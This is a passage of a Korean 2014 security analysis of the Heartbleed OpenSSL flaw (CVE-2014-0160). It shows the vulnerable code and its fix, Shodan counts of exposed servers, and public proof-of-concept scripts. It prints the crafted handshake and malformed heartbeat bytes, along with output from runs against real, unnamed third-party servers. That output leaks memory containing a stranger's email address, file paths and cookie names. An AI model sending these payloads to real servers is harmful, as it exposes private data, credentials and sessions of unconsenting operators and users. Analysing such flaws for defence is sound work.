#HNS-WI-14-04 Heartbleed Bug v.01 ( 공개용 ) 2014-04-10
이자료는공개용버전으로, 일부내용이삭제되었거나수정되었으며, 일부내용은추가테스트과정이필요하고, 이테스트과정이끝난후업데이트될것임
내용요약 이보고서는 2014 년 4 월둘째주에심각한보안문제로등장한 CVE-2014-0160 취약점에대한분석과 proof of concept 코드테스트결과를담은것임 CVE-2014-0160은일명 Heartbleed Bug 로불리는것은이취약점이 OpenSSL의 TLS/DTLS의 Heartbeat Extension을구현하는부분에서문제가발생하고, 관련정보를최초로공개한 Codenomicon에서비즈니스전략을위해피흘리는하트모양의이미지와함께 heartbleed 란용어를사용했으며, 이것이보안계에통용되었기때문임 CVE-2014-0160 취약점을공격할경우메모리로부터민감한정보 ( 비밀키, 패스워드, 개인정보등 ) 를확보할수있으며, 안드로이드시스템도공격 대상이될수있고, 공격자의흔적이남지않는특징이있음 취약한 OpenSSL 버전은 OpenSSL 1.0.1 ~ 1.0.1f로, shodan을이용해검색한결과 OpenSSL 버전 1.0.1a을사용하는시스템은 554개, 1.0.1b는 1,047개, 1.0.1c는 172,127개, 1.0.1d는 27,500개, 1.0.1e는 349,561개, 1.0.1f는 11,370개였으며, proof of concept 코드로테스트한결과이들중일부는취약하지않은시스템도있었으며, 흥미로운것은 OpenSSL/1.0.1b 버전을가장많이사용하는국가는한국이었음 문제를해결하기위해 OpenSSL 1.0.1g 이상의버전으로업데이트가필요하고, yahoo 등을비롯한일부사이트의경우계정정보와패스워드등의정보가 유출되었으므로패스워드변경도필요함
1. 개요 CVE-2014-0160 취약점은 Google의연구원 Neel Mehta와보안회사 Codenomicon 1 의연구원들에의해발견되었으며, Heartbleed 버그관련정보는우리나라시간으로 4월 8일 ( 화 ) 에공개되었으며, CVE 식별자는 CVE-2014-0160임 Codenomicon 사는 Heartbleed 관련웹사이트를별도로오픈하여정보를제공하고있으며, 웹사이트주소는 http://heartbleed.com 임 CVE-2014-0160 취약점이 Heartbleed Bug 로불리는것은이취약점이 OpenSSL의 TLS/DTLS의 Heartbeat Extension을구현하는부분에서문제가발생하고, 관련정보를최초로공개한 Codenomicon에서비즈니스전략을위해피흘리는하트모양의이미지와함께 heartbleed 란용어를사용했으며, 이것이보안계에통용되었기때문임 취약한 OpenSSL 버전은 OpenSSL 1.0.1 ~ 1.0.1f, 그리고 1.0.2-beta1이며, OpenSSL에서 TLS/DTLS 구현이 Heartbeat Extension 패킷을적절하게핸들링하지못해발생하고, 원격공격자는이를이용해조작된패킷으로프로세스메모리에저장된민감한정보를획득할수있음 shodan을이용해검색한결과 OpenSSL 버전 1.0.1a을사용하는시스템은 554개, 1.0.1b는 1,047개, 1.0.1c는 172,127개, 1.0.1d는 27,500개, 1.0.1e는 349,561개, 1.0.1f는 11,370개였으며, proof of concept 코드로테스트한결과이들중일부는취약하지않은시스템도있었으며, 흥미로운것은 OpenSSL/1.0.1b 버전을가장많이사용하는국가는한국이었음 현재 CVE-2014-0160 취약점을테스트하기위해공개된 proof of concept 코드는 7개이상이며, 대부분 Jared Stafford의코드 hb-test.py 를수정한것들로, 연속수행기능을넣어한번의 heartbeat에 64KB의데이터만추출할수있는문제점을해결한 SensePost가수정한 heartbleed-poc.py 가활용도면에서가장뛰어난것으로보이며, 공개되지않은코드들중에는해커들이자신들의목적에맞게수정한것들도다수있을것으로추측됨 공격이성공할경우로그를남기지않기때문에공격을당했는지여부를확인하기쉽지않음 이문제를해결하기위해 OpenSSL 1.0.1g 에서는해당취약점이패치가되었으므로, OpenSSL 1.0.1g 이상의버전으로업데이트필요 1 http://www.codenomicon.com 1 / 22
2. 세부내용 1) CVE-2014-0160 / Heartbleed Bug - 이취약점은 CVE를운영하는 MITRE(http://cve.mitre.org) 에의해서 CVE-2014-0160, CVE- 2014-0346이라는식별번호를얻었는데, 이는동시에이취약점이발견되었기때문이며, 중복식별자사용으로인한혼란을막기위해 CVE-2014-0160을공식식별자로사용하기로관련기관이결정함 - CVE-2014-0160이 Heartbleed Bug 로불리는것은이취약점이 OpenSSL의 TLS/DTLS(Transport Layer Security / Datagram Transport Layer Security) 의 Heartbeat Extension(RFC6520 2 ) 구현상의문제로발생하고, 관련정보를최초로공개한 Codenomicon에서기술적이유보다는비즈니스전략을위해이용어를사용했으며, 이것이보안계에통용되었기때문임 - Codenomicon의자료 3 에따르면, 실제자신들의테스트에서 Codenomiconn 은 X.509 인증을위해사용되는비밀키를확보할수있었다고주장하고있으나 Google 의연구원 Adam Langley는비밀키와같은민감한정보는유출되지않았으며, 오래된연결버퍼들 ( 쿠키등 ) 만확보할수있었다고상반된주장을하고있으며, 사용자 ID와패스워드가노출되는것을확인한자료들은공개되고있으나아직비밀키가노출되었다는자료는 4월 10일오전현재공개되지않은상태임 - 초기대응이늦었던 yahooo 의경우계정 id와패스워드정보등이노출되었음 2 https://tools.ietf.org/html/rfc6520 3 http://heartbleed.com 2 / 22
- 취약한 OpenSSL 버전은 OpenSSL 1.0.1 ~ 1.0.1f, 그리고 1.0.2-beta1까지로알려져있으며 4, 1.0.1g에서패치가이루어졌고, OpenSSL에서 TLS/DTLS 구현이 Heartbeat Extension 패킷을적절하게핸들링하지못해발생하고, 원격공격자는이를이용해조작된패킷으로프로세스메모리에저장된민감한정보를획득할수있음 - 취약한버전을탑재한운영체제 * Debian Wheezy (stable), OpenSSL 1.0.1e-2+deb7u4 * Ubuntu 12.04.4 LTS, OpenSSL 1.0.1-4ubuntu5.11 * CentOS 6.5, OpenSSL 1.0.1e-15 * Fedora 18, OpenSSL 1.0.1e-4 * OpenBSD 5.3 (OpenSSL 1.0.1c 10 May 2012) & 5.4 (OpenSSL 1.0.1c 10 May 2012) * FreeBSD 10.0 - OpenSSL 1.0.1e 11 Feb 2013 * NetBSD 5.0.2 (OpenSSL 1.0.1e) * OpenSUSE 12.2 (OpenSSL 1.0.1c) - 취약하지않은버전을탑재한운영체제 * Debian Squeeze (oldstable), OpenSSL 0.9.8o-4squeeze14 * SUSE Linux Enterprise Server * FreeBSD 8.4 - OpenSSL 0.9.8y 5 Feb 2013 * FreeBSD 9.2 - OpenSSL 0.9.8y 5 Feb 2013 * FreeBSD Ports - OpenSSL 1.0.1g (At 7 Apr 21:46:40 2014 UTC) - TLS Heartbeat 매커니즘은데이터가전송이되지않고있을때도연결을지속하도록디자인되었으며 5, payload 길이와랜덤한데이터를가지고있는 HeartbeatRequest 메시지를한 peer가전송하면, HeartbeatRequest 메시지를받은상응하는 peer는반드시수신한 HeartbeatRequest payload와정확하게같은데이터의 HeartbeatResponse를보내야만함 6, - 이버그와관련된파일은 d1_both.c 와 t1_lib.c 로, CVE-2014-0160 버그를일으키는취약한 부분은다음과같음 4 https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2014-0160 5 rfc6520 에서부분발췌, The Heartbeat Extension provides a new protocol for TLS/DTLS allowing the usage of keep-alive functionality without performing a renegotiation and a basis for path MTU (PMTU) discovery for DTLS. 6 rfc6520 에서부분발췌, A HeartbeatRequest message can arrive almost at any time during the lifetime of a connection. Whenever a HeartbeatRequest message is received, it SHOULD be answered with a corresponding HeartbeatResponse message. 3 / 22
/* HeartbeatRequest 의데이터구조체 */ 7 struct { HeartbeatMessageType type; uint16 payload_length; opaque payload[heartbeatmessage.payload_length]; opaque padding[padding_length]; } HeartbeatMessage; /* 다음은 t1_lib.c 파일에서발췌한부분으로, CVE-2014-0160 취약점을초래하는부분 */ #ifndef OPENSSL_NO_HEARTBEATS int tls1_process_heartbeat(ssl *s) { unsigned char *p = &s->s3->rrec.data[0], *pl; unsigned short hbtype; unsigned int payload; unsigned int padding = 16; /* Use minimum padding */ /* Read type and payload length first */ hbtype = *p++; n2s(p, payload); // 사용자가통제하는데이터로부터 payload 길이를읽음 pl = p; if (s->msg_callback) s->msg_callback(0, s->version, TLS1_RT_HEARTBEAT, &s->s3->rrec.data[0], s->s3->rrec.length, s, s->msg_callback_arg); if (hbtype == TLS1_HB_REQUEST) { unsigned char *buffer, *bp; int r; /* Allocate memory for the response, size is 1 bytes * message type, plus 2 bytes payload length, plus * payload, plus padding */ buffer = OPENSSL_malloc(1 + 2 + payload + padding); bp = buffer; /* Enter response type, length and copy payload */ *bp++ = TLS1_HB_RESPONSE; s2n(payload, bp); memcpy(bp, pl, payload); // 실제 payload 크기에대한확인없이읽은 payload 길이를사용 bp += payload; /* Random padding */ RAND_pseudo_bytes(bp, padding); r = ssl3_write_bytes(s, TLS1_RT_HEARTBEAT, buffer, 3 + payload + padding); 7 rfc6520, 섹션 4, Heartbeat Request and Response Messages 에서발췌 4 / 22
- 위의코드를보면 incoming 데이터는바운드체킹을하지않는 payload 길이를포함하고있으며, OpenSSL은이에응답하기위해버퍼를할당하는데, 'payload' 데이터바이트를포인터 'pl' 로부터그버퍼에복사하지만데이터에 'payload' 바이트가실제로있는지확인하지않으며, 그래서공격자는프로세스메모리로부터 64KB의데이터 조각 을확보할수있음 - 이문제는다음과같이바운드체킹을통해해결할수있음 + /* Read type and payload length first */ + if (1 + 2 + 16 > s->s3->rrec.length) + return 0; /* silently discard */ + hbtype = *p++; + n2s(p, payload); + if (1 + 2 + payload + 16 > s ->s3->rrec.length) + return 0; /* silently discard per RFC 6520 sec. 4 */ + pl = p; + 2) 취약점확인 / Proof of Concept 코드 / 스캐너 - 테스트를위해사용할취약한서버들은 shodan을이용해찾았으며, 유료사용자가아닐경우 shodan 웹사이트를통해검색할경우그결과값을 10개밖에볼수가없어서 shodan의파이썬의 API를이용해스캐닝코드를작성하여검색하였으며, 검색키워드는 OpenSSL 과 OpenSSL/1.0.1 로설정하였으며, OpenSSL/1.0.1 로검색했을때는정확한버전정보가나오지않아정확한버전을입력하여검색함 - 다음은취약한 OpenSSL 버전을찾기위해사용한파이썬코드임 5 / 22
- 파이썬스캐닝코드로검색한결과 OpenSSL 버전 1.0.1a는 554개, 1.0.1b는 1,047개, 1.0.1c는 172,127개, 1.0.1d는 27,500개, 1.0.1e는 349,561개, 1.0.1f는 11,370개였으며, proof of concept 코드로테스트한결과이들중일부는취약하지않은시스템도있어일부시스템은보안조치를실시한것으로보이며, shodan 검색엔진을이용한결과를바탕으로보면적어도 50,000개이상의시스템이취약할것으로판단됨 - 다음표는 Shodan 웹사이트를통해취약한버전들이사용되는서비스와가장많이 사용하는국가들의목록이며, 취약한시스템들이업데이트가되고있어표에서나오는 취약한시스템의수는점차줄어들것으로예상됨 6 / 22
- 앞의결과를보면 OpenSSL/1.0.1b 버전을가장많이사용하는국가는한국임을알수있음 #1. filippo.io/heartbleed/ 이용 - 개발자이자암호전문가인 Filippo Valsorda는 CVE-2014-0160 버그에취약한지여부를확인할수있는웹사이트 http://filippo.io/heartbleed/ 를공개하였으며, 해당 checker 소스코드는 https://github.com/filosottile/heartbleed에서다운받을수있음 7 / 22
- 그러나확인결과이사이트의테스트결과가정확하지않을때가있으며, 따라서이사이트를이용해취약성여부를체크하는것은정확하지않은결과와판단을내릴수있으며, 다음은국내사이트를대상으로이문제에대해확인한것임 - 위의결과에서는취약하지않다고나오지만공개된 proof of concept 코드를이용하면다음과같이정보가노출되어, 해당호스트는 CVE-2014-0160 버그에취약함을확인할수있음 #2. Jared Stafford의 OpenSSL heartbeat PoC, hb-test.py - 이 PoC 코드는가장먼저공개된 proof of concept 코드로, 현재다른해커들에의해수정되고있으며, 최초코드는 https://gist.github.com/takeshixx/10107280에서확인할수있음 - hello packet 분석 hello = h2bin(''' 1: 16 03 02 00 dc 01 000 00 d8 03 02 53 2: 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf 3: bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 4: 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 5: 00 87 c0 0f c0 05 000 35 00 84 c0 12 c0 08 c0 1c 6: c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 7: c0 1f c0 1e 00 33 000 32 00 9a 00 99 00 45 00 44 8: c0 0e c0 04 00 2f 000 96 00 41 c0 11 c0 07 c0 0c 9: c0 02 00 05 00 04 000 15 00 12 00 09 00 14 00 11 10: 00 08 00 06 00 03 000 ff 01 00 00 49 00 0b 00 04 8 / 22
11: 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 12: 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 13: 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 14: 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 15: 00 0f 00 01 01 ''') - 라인 1: TLS header + handshake header TLS header: 16 03 02 00 dc * 16 컨텐츠타입 - Handshake * 03 02 TLS 버전 (1.1 / 03 01 TLS 1.0 / 03 03 TLS 1.2) * 00 dc 길이 ( 바운드체킹을위해사용 ) Handshake header: 01 00 00 d8 03 02 * 01 handshake 타입 - Client Hello * 00 00 d8 길이 ( 바운드체킹을위해사용 ) * 03 02 TLS 버전 1.1 - 라인 1, 2, 3: 랜덤데이터 (32 byte) * 53 ~ de - 라인 3: session id * 00 - 라인 15 * 00 0f Extension 타입 (Heart Beat) 체크 * 00 01 길이 * 01 모드 - peer는 request를전송하는것이허용 - Heartbeat 패킷 hb = h2bin(''' 18 03 02 00 03 01 40 00 ''') - 다음테스트결과는임의의취약한외국사이트를대상으로한것으로, 취약성여부만 확인하고, 민감한정보를악의적으로사용하지않고결과를확인후바로삭제함 ghost-2:heartbleed ghost$ python hb_test.py Usage: hb_test.py server [options] Test for SSL heartbeat vulnerability (CVE -2014-0160) Options: -h, --help show this help message and exit -p PORT, --port=port TCP port to test (default: 443) -s, --starttls Check STARTTLS -d, --debug Enable debug output ghost-2:heartbleed ghost$ python hb_test.py xx.xxx.xxx.xxx Connecting... Sending Client Hello... Waiting for Server Hello...... received message: type = 22, ver = 0302, length = 58... received message: type = 22, ver = 0302, length = 995... received message: type = 22, ver = 0302, length = 525 9 / 22
... received message: type = 22, ver = 0302, length = 4 Sending heartbeat request...... received message: type = 24, ver = 0302, length = 16384 Received heartbeat response: 0000: 02 40 00 D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C.@...SC[...r... 0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90.+..H...9... 0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0.w.3...f...". 0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00!.9.8...5. 0040: 84 C0 12 C0 08 C0 1C C0 1B 00 16 00 13 C0 0D C 0... 0050: 03 00 0A C0 13 C0 09 C0 1F C0 1E 00 33 00 32 00...3.2. 0060: 9A 00 99 00 45 00 44 C0 0E C0 04 00 2F 00 96 00...E.D.../... 0070: 41 C0 11 C0 07 C0 0C C0 02 00 05 00 04 00 15 00 A... 0080: 12 00 09 00 14 00 11 00 08 00 06 00 03 00 FF 01... 0090: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00..I...4. 03a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00... 03b0: 21 02 00 00 00 00 00 00 40 89 A3 9A 6E 7F 00 00!...@...n... 03c0: 10 C0 7A 9B 6E 7F 00 00 32 32 38 2E 31 31 26 66..z.n...228.11&f 03d0: 3D 73 65 72 69 61 6C 26 65 6D 61 69 6C 3D 6A 61 =serial&email=ja 03e0: 63 71 75 69 65 73 6B 7A 31 32 37 25 34 30 68 6F cquieskz127%40ho 03f0: 74 6D 61 69 6C 2E 63 6F 6D 00 69 65 73 6B 7A 31 tmail.com.ieskz1 0400: 32 37 25 34 30 68 6F 74 6D 61 69 6C 2E 63 6F 6D 27%40hotmail.com 0410: 00 37 3A 22 73 68 6F 77 5F 70 6C 61 63 65 68 6F.7:"show_pl aceho 0420: 6C 64 65 72 73 22 3B 73 3A 30 3A 22 22 3B 73 3A lders";s:0:"";s: 0430: 32 30 3A 22 73 68 6F 72 74 63 6F 64 65 5F 63 68 20:"shortcode_ch 0440: 61 6E 6E 65 6C 5F 69 64 22 3B 73 3A 30 3A 22 22 annel_id";s:0:"" 0450: 3B 73 3A 31 35 3A 22 64 65 66 61 75 6C 74 5F 61 ;s:15:"default_a 0460: 64 5F 74 79 70 65 22 3B 73 3A 30 3A 22 22 3B 73 d_type";s:0:"";s 0470: 3A 31 35 3A 22 67 6F 6F 67 6C 65 5F 63 6F 6C 6F :15:"google_colo 0480: 72 5F 62 67 22 3B 73 3A 37 3A 22 23 46 46 46 46 r_bg" ;s:7:"#ffff 0490: 46 46 22 3B 73 3A 31 39 3A 22 67 6F 6F 67 6C 65 FF";s:19:"google 04a0: 5F 63 6F 6C 6F 72 5F 62 6F 72 64 65 72 22 3B 73 _color_border";s 04b0: 3A 37 3A 22 23 45 45 45 45 45 45 22 3B 73 3A 31 :7:"#EEEEEE";s:1 04c0: 11 01 00 00 00 00 00 00 C0 BC 79 9B 6E 7F 00 00...y.n... 04d0: 40 89 A3 9A 6E 7F 00 00 6D 2E 63 6F 6D 00 00 00 @...n...m.com... 04e0: 00 00 00 00 00 00 00 00 3A 22 67 6F 6F 67 6C 65...:"google 04f0: 5F 63 6F 6C 6F 72 5F 75 72 6C 22 3B 73 3A 37 3A _color_url";s:7: 0500: 22 23 38 38 38 38 38 38 22 3B 73 3A 31 37 3A 22 "#888888";s:17:" 0510: 67 6F 6F 67 6C 65 5F 63 6F 6C 6F 72 5F 74 65 78 google_color_tex 0520: 74 22 3B 73 3A 37 3A 22 23 36 36 36 36 36 36 22 t";s:7:"#66 6666" 0530: 3B 73 3A 37 3A 22 76 65 72 73 69 6F 6E 22 3B 73 ;s:7:"version";s 0540: 3A 33 3A 22 31 2E 36 22 3B 7D 69 3A 33 3B 61 3A :3:"1.6";}i:3;a: 0550: 36 3A 7B 73 3A 35 3A 22 74 69 74 6C 65 22 3B 73 6:{s:5:"title";s 0560: 3A 30 3A 22 22 3B 73 3A 31 30 3A 22 61 64 73 65 :0:"";s:10:"adse 0570: 6E 73 65 5F 69 64 22 3B 73 3A 31 36 3A 22 35 36 nse_id";s:16:"56 0580: 31 32 32 35 33 30 37 38 33 35 31 38 32 39 22 3B 12253078351829"; 0590: 73 3A 34 3A 22 74 79 70 65 22 3B 73 3A 31 35 3A s:4:" type";s:15: 05a0: 22 77 69 64 65 2D 73 6B 79 73 63 72 61 70 65 72 "wide -skyscraper 05b0: 22 3B 73 3A 34 3A 22 73 6C 6F 74 22 3B 73 3A 31 ";s:4:"slot";s:1 05c0: 30 3A 22 39 31 32 34 34 E0 05 00 00 00 00 00 00 0:"91244... 05d0: 20 00 00 00 00 00 00 00 10 64 E0 9A 6E 7F 00 00...d..n... 05e0: 78 C7 83 98 6E 7F 00 00 22 63 6F 6E 74 65 6E 74 x...n..."content 05f0: E1 02 00 00 00 00 00 00 F0 88 D1 9A 6E 7F 00 00...n... 0600: 78 C7 83 98 6E 7F 00 00 32 3A 22 5F 6D 75 6C 74 x...n...2:"_mult 0610: C1 02 00 00 00 00 00 00 80 B6 79 9B 6E 7F 00 00...y.n... 0620: 78 C7 83 98 6E 7F 00 00 48 BD 79 9B 6E 7F 00 00 x...n...h.y.n... 0630: A1 02 00 00 00 00 00 00 30 B0 79 9B 6E 7F 00 00...0.y.n... 0640: 40 89 A3 9A 6E 7F 00 00 41 67 65 6E 74 3A 20 57 @...n...agent: W 0650: 6F 72 64 50 72 65 73 73 2F 41 56 48 20 33 2E 36 ordpress/avh 3.6 0660: 2E 33 3B 20 68 74 74 70 3A 2F 2F 77 77 77 2E 73.3; http://www.s 0670: 6E 6F 77 77 65 62 2E 69 6E 66 6F 0D 0A 48 6F 73 nowweb.info..hos 0680: 74 3A 20 77 77 77 2E 73 74 6F 70 66 6F 72 75 6D t: www.stopforum 0690: 73 70 61 6D 2E 63 6F 6D 0D 0A 41 63 63 65 70 74 spam.com..accept 06a0: 3A 20 2A 2F 2A 0D 0A 00 FF FF FF FF 42 00 00 00 : */*...B... 06b0: C8 BD 79 9B 6E 7F 00 00 90 00 00 00 00 00 00 00..y.n... 06c0: 70 01 00 00 00 00 00 00 47 45 54 20 2F 61 70 69 p...get /api 06d0: 3F 69 70 3D 31 38 33 2E 32 30 37 2E 32 32 38 2E?ip=183.207.228. 06e0: 31 31 26 66 3D 73 65 72 69 61 6C 26 65 6D 61 69 11&f=serial&emai 06f0: 6C 3D 6A 61 63 71 75 69 65 73 6B 7A 31 32 37 25 l=jacquieskz127% 0700: 34 30 68 6F 74 6D 61 69 6C 2E 63 6F 6D 20 48 54 40hotmail.com HT 0710: 54 50 2F 31 2E 30 0D 0A 55 73 65 72 2D 41 67 65 TP/1.0..User -Age 10 / 22
0720: 6E 74 3A 20 57 6F 72 64 50 72 65 73 73 2F 41 56 nt: WordPress/AV 0730: 48 20 33 2E 36 2E 33 3B 20 68 74 74 70 3A 2F 2F H 3.6.3; http:// 0740: 77 77 77 2E 73 6E 6F 77 77 65 62 2E 69 6E 66 6F www.s nowweb.info 0750: 0D 0A 48 6F 73 74 3A 20 77 77 77 2E 73 74 6F 70..Host: www.stop 0760: 66 6F 72 75 6D 73 70 61 6D 2E 63 6F 6D 0D 0A 41 forumspam.com..a 0770: 63 63 65 70 74 3A 20 2A 2F 2A 0D 0A 41 63 63 65 ccept: */*..Acce 0780: 70 74 2D 45 6E 63 6F 64 69 6E 67 3A 20 64 65 66 pt-encoding: def 0790: 6C 61 74 65 3B 71 3D 31 2E 30 2C 20 63 6F 6D 70 late;q=1.0, comp 07a0: 72 65 73 73 3B 71 3D 30 2E 35 0D 0A 0D 0A 3A 35 ress;q=0.5...:5 07b0: 3A 22 4C 69 6E 75 78 22 3B 73 3A 34 3A 22 6E 61 :"Linux";s:4:"na 07c0: 6D 65 22 3B 73 3A 37 3A 22 46 69 72 65 66 6F 78 me";s:7:"firefox 07d0: 22 3B 73 3A 37 3A 22 76 65 72 73 69 6F 6E 22 3B ";s:7:"version"; 07e0: 73 3A 36 3A 22 31 34 2E 30 2E 31 22 3B 73 3A 31 s:6:"14.0.1";s:1 07f0: 30 3A 22 75 70 64 61 74 65 5F 75 72 6C 22 3B 73 0:"update_url";s 0800: 3A 32 33 3A 22 68 74 74 70 3A 2F 2F 77 77 77 2E :23:"http://www. 0810: 66 69 72 65 66 6F 78 2E 63 6F 6D 2F 22 3B 73 3A firefox.com/";s: 0820: 37 3A 22 69 6D 67 5F 73 72 63 22 3B 73 3A 35 30 7:"img_src";s:50 0830: A1 00 00 00 00 00 00 00 78 C7 83 98 6E 7F 00 00...x...n... 0840: 30 B0 79 9B 6E 7F 00 00 2F 69 6D 61 67 65 73 2F 0.y.n.../images/ 0850: 62 72 6F 77 73 65 72 73 2F 66 69 72 65 66 6F 78 browsers/fi refox 0860: 2E 70 6E 67 22 3B 73 3A 60 B3 83 98 6E 7F 00 00.png";s:`...n... 0870: 61 00 00 00 00 00 00 00 78 C7 83 98 6E 7F 00 00 a...x...n... 0880: 78 C7 83 98 6E 7F 00 00 6F 72 64 70 72 65 73 73 x...n...ordpress 0890: 2E 6F 72 67 2F 69 6D 61 67 65 73 2F 62 72 6F 77.org/images/brow 08a0: 73 65 72 73 2F 66 69 72 65 66 6F 78 2E 70 6E 67 sers/firefox.png 08b0: 22 3B 73 3A 31 35 3A 22 63 75 72 72 65 6E 74 5F ";s:15:"current_ 08c0: 76 65 72 73 69 6F 6E 22 E0 08 00 00 00 00 00 00 versi on"... 08d0: C0 00 00 00 00 00 00 00 8A 7F E5 DD 4A 43 F7 D0...JC.. 3fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00... 3fe0: 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00...@... 3ff0: 70 00 00 00 00 00 00 00 E0 F7 79 9B 6E 7F 00 00 p...y.n... WARNING: server returned more data than it should - server is vulnerable! ghost-2:heartbleed ghost$ #3. Andreas Thienemann의 OpenSSL heartbeat PoC, ssltest.py - 이 PoC 코드는 https://gist.github.com/ixs/10116537에서확인할수있으며, Jared Stafford의 hb_test.py 코드를수정하여 64KB reading을가능하게했고, 코드실행결과를 dump 파일로저장하는기능을추가한것인데, 64KB reading을가능하게한것은앞에서취약한코드부분을설명할때언급했던것과관련있음 ghost-2:heartbleed ghost$ python ssltest.py xx.xxx.xxx.xxx Connecting... Sending Client Hello... Waiting for Server Hello... Server length: 58... received message: type = 22, ver = 0302, length = 58 Server length: 995... received message: type = 22, ver = 0302, length = 995 Server length: 525... received message: type = 22, ver = 0302, length = 525 Server length: 4... received message: type = 22, ver = 0302, length = 4 Sending heartbeat request... Server length: 16384... received message: type = 24, ver = 0302, length = 16384 Received heartbeat response: 0000: 02 FF FF D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C...SC[...r... 0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90.+..H...9... 0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0.w.3...f...". 0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00!.9.8...5. 0040: 84 C0 12 C0 08 C0 1C C0 1B 00 16 00 13 C0 0D C0... 11 / 22
0050: 03 00 0A C0 13 C0 09 C0 1F C0 1E 00 33 00 32 00...3.2. 0060: 9A 00 99 00 45 00 44 C0 0E C0 04 00 2F 00 96 00...E.D.../... 0070: 41 C0 11 C0 07 C0 0C C0 02 00 05 00 04 00 15 00 A... 0080: 12 00 09 00 14 00 11 00 08 00 06 00 03 00 FF 01... 0090: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00..I...4. 0200: 00 00 00 00 00 00 00 00 00 6A 77 6C 5F 66 6F 75...jwl_fou 0210: 72 5F 66 69 66 74 68 5F 6C 61 73 74 2F 76 61 72 r_fifth_last/var 0220: 2F 7A 70 61 6E 65 6C 2F 68 6F 73 74 64 61 74 61 /zpanel/hostdata 0230: 2F 7A 61 64 6D 69 6E 2F 70 75 62 6C 69 63 5F 68 /zadmin/public_h 0240: 74 6D 6C 2F 73 6E 6F 77 77 65 62 5F 69 6E 66 6F tml/snowweb_info 0250: 2F 77 70 2D 63 6F 6E 74 65 6E 74 2F 70 6C 75 67 /wp-content/plug 0260: 69 6E 73 2F 75 6C 74 69 6D 61 74 65 2D 74 69 6E ins/ultimate -tin 0270: 79 6D 63 65 2F 6F 70 74 69 6F 6E 73 5F 66 75 6E ymce/options_fun 0280: 63 74 69 6F 6E 73 2E 70 68 70 30 78 37 66 36 65 ctions.php0 x7f6e 0290: 39 35 65 63 33 37 62 36 5F 73 72 63 22 3B 73 3A 95ec37b6_src";s: 02a0: F1 0B 00 00 00 00 00 00 90 E7 AA 9A 6E 7F 00 00...n... 02b0: 78 C7 83 98 6E 7F 00 00 00 00 00 00 00 00 00 00 x...n... 3ff0: 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF... Received content written to the file./dump WARNING: server returned more data than it should - server is vulnerable! Server length: 16384... received message: type = 24, ver = 0302, length = 16384 Received heartbeat response: 0000: 30 18 B0 9C 6E 7F 00 00 77 01 00 00 85 01 00 00 0...n...w... 0010: 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF... 0020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00... 0030: 00 00 00 00 00 00 00 00 50 02 00 00 00 00 00 00...P... 0040: 70 00 00 00 00 00 00 00 B0 1C AB 9A 6E 7F 00 00 p...n... 0050: 1C 00 00 00 6E 7F 00 00 80 17 AB 9A 6E 7F 00 00...n...n... 0060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00... 0070: B0 15 AB 9A 6E 7F 00 00 00 62 A6 9B 6E 7F 00 00...n...b..n... 0080: 00 00 00 00 00 00 00 00 6A 77 6C 5F 70 74 61 67...jwl_ptag 0090: 73 5F 63 61 6C 6C 62 61 63 6B 5F 66 75 6E 63 74 s_callback_funct 00a0: 69 6F 6E 00 73 3A 34 3A 22 50 6F 73 74 22 3B 73 ion.s:4:"post";s 3ff0: 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00... Received content written to the file./dump WARNING: server returned more data than it should - server is vulnerable! ghost-2:heartbleed ghost$ - 결과가저장된 dump 파일의내용은 strings 를이용해다음과같이확인할수있음 ghost-2:heartbleed ghost$ strings dump wp_admin_bar_render wp_admin_bar_wp_menu wp_admin_bar_my_account_item wp_admin_bar_my_account_menu wp_admin_bar_site_menu wp_admin_bar_my_sites_menu wp_admin_bar_shortlink_menu pass to the wp_admin_bar_edit_menu wp_admin_bar_new_content_menu wp_admin_bar_comments_menu wp_admin_bar_search_menu wp_admin_bar_add_secondary_groups wp_admin_bar_header _admin_bar_bump_cb show_admin_bar is_admin_bar_showing 12 / 22
_get_admin_bar_pref WP_PLUGIN_URL PLUGINDIR WPMU_PLUGIN_DIR WPMU_PLUGIN_URL MUPLUGINDIR host COOKIEHASH USER_COOKIE PASS_COOKIE AUTH_COOKIE SECURE_AUTH_COOKIE LOGGED_IN_COOKIE TEST_COOKIE COOKIEPATH k parame! SITECOOKIEPATH when to a xecution! ADMIN_COOKIE_PATH -nextgen_basic_temp h/var/zpanel/hostdata/zadmin/public_html/snowweb_info/wp -content/plugins/nextgengallery/products/photocrati_nextgen/modules/mvc/template_helper.php0x7f6e95ec21280x7f 6e95ec205 dx7f6e95ec2020io m_validation wp_admin_bar_site_menu wp_admin_bar_my_sites_menu wp_admin_bar_shortlink_menu pass to the wp_admin_bar_edit_menu wp_admin_bar_new_content_menu ghost-2:heartbleed ghost$ #4. Michael Davis의 session hijacking 공격을위한세션추출코드 - 이 PoC 코드는 https://www.michael-p-davis.com/using-heartbleed-for-hijacking-usersessions/ 에서확인할수있으며, Jared Stafford의 hb_test.py 코드를수정하여 HTTP session ID cookies를추출함 - 현재이취약점을이용해추출한 HTTPd session ID cookies 